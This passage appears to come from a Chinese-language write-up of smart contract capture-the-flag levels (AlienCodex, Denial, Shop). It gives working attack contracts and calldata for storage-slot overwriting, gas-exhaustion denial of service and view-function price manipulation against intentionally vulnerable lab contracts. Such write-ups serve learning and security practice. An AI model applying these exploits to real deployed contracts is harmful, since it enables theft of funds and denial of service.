func="0x1d3d4c0b"; // 函式 id data1="0000000000000000000000000000000000000000000000000000000000000020"// 偏移 data2="1000000000000000000000000000000000000000000000000000000000000001"// 長度,構造大於 2**200 data=func+data1+data2 web3.eth.sendTransaction({from:player,to:instance,data: data,gas: 1111111},function(x,y){console.error(y)});
從而使
contact=true
-
-
計算
codex
位置為slot 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
,function go3() view returns(bytes32){ return keccak256((bytes32(1))); }
-
-
- 計算 y,
y=2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
- 計算 y,
-
- 呼叫
revise(y,player_addr)
,這裡player_addr
記得填充到 32 位元組,比如我的地址是0x91c72f7200015195408378e9cb74e6f566dddf44
,所以填充到0x00000000000000000000000091c72f7200015195408378e9cb74e6f566dddf44
- 呼叫
然後就 ok 了。
Denial
題目程式碼如下:
pragma solidity ^0.4.24; contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance/100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call.value(amountToSend)(); owner.transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = now; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds function() payable {} // convenience function function contractBalance() view returns (uint) { return address(this).balance; } }
題目要求也比較簡單,就是在呼叫 withdraw 時,禁止 owner 分走賬戶的 1% 的餘額。
剛開始傻了,想的那很簡單啊,利用 withdraw
函式的 reentrancy 問題,100 次就把賬戶轉空了。然後才想起來是餘額的 1%。最近腦子不好使。
那這樣的話,可以考慮使 transfer 失敗,也就是想辦法把 gas 耗光。比如在 partner
合約中設定大量的儲存或者一個迴圈運算。後來想起來一個最簡單辦法, assert
, 這個函式觸發異常之後會消耗所有可用的 gas,那麼剩下的訊息呼叫(比如 owner.transfer(amountToSend)
) 就沒有 gas 可用了,就會失敗了。
所以 attack 程式碼很簡單:
contract attack{ function() payable{ assert(0==1); } }
shop
題目程式碼如下:
pragma solidity 0.4.24; contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price.gas(3000)() >= price && !isSold) { isSold = true; price = _buyer.price.gas(3000)(); } } }
要求是修改 price 低於 100,簡單來說可就是 _buyer.price.gas(3000)()
兩次返回不一樣的值,比如第一次返回 100,第二次返回 0。似乎很簡單,但是這裡的難點在於 gas 限定了只有 3000,我們通常會想要使用一個狀態變數,比如 a=0,第一次訪問返回 100 之後修改為 1,第二次判斷一下如果不為 0 就返回 0。但是一旦涉及到狀態變數也就是 storage
的修改,那就不是簡單的 3000gas 能夠解決的了。這裡發現題目有一個變數 isSold
, 我們可以根據這個的值判斷該返回的大小,最後攻擊合約如下:
pragma solidity 0.4.24; contract Buyer { function price() view returns (uint) { return Shop(msg.sender).isSold()==true?0:100; } function go(address param){ Shop a = Shop(param); a.buy(); } }